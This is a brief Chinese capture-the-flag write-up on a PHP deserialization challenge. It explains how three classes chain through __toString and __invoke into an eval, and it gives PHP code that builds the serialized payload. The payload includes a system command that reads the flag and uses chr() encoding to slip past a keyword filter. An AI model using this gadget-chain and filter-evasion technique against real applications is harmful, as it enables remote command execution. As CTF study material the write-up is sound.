打开看出来是反序列化的题目
有三个类,构造pop链将三个类串起来,可以看出入口是$GET[data],出口是G00D的eval,eval里可以产生命令执行漏洞
要命令执行就要进入G00D内并利用魔术方法__invoke(),利用条件是当函数被当成变量执行时就自动执行__invoke(),整个代码里只有H4CK3R类里
$function= $this->func;
$function();
要执行上述代码就要进入_tosring(),而这个魔术方法的执行条件其中一个是当输出字符串时,这样而Welcome类里就有echo输出函数,这样我们就可以将三个类连起来
<?php
class Welcome{
public $arg;
public $name='A_G00d_H4ck3r';
}
class H4ck3r{
public $func;
}
class G00d{
public $shell='system';
public $cmd='cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';
}
$a = new Welcome();
$b = new H4ck3r();
$c = new G00d();
$b->func=$c;
$a->arg=$b;
echo serialize($a);
而命令执行出有对flag的正则过滤我们可以采用cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`来应对。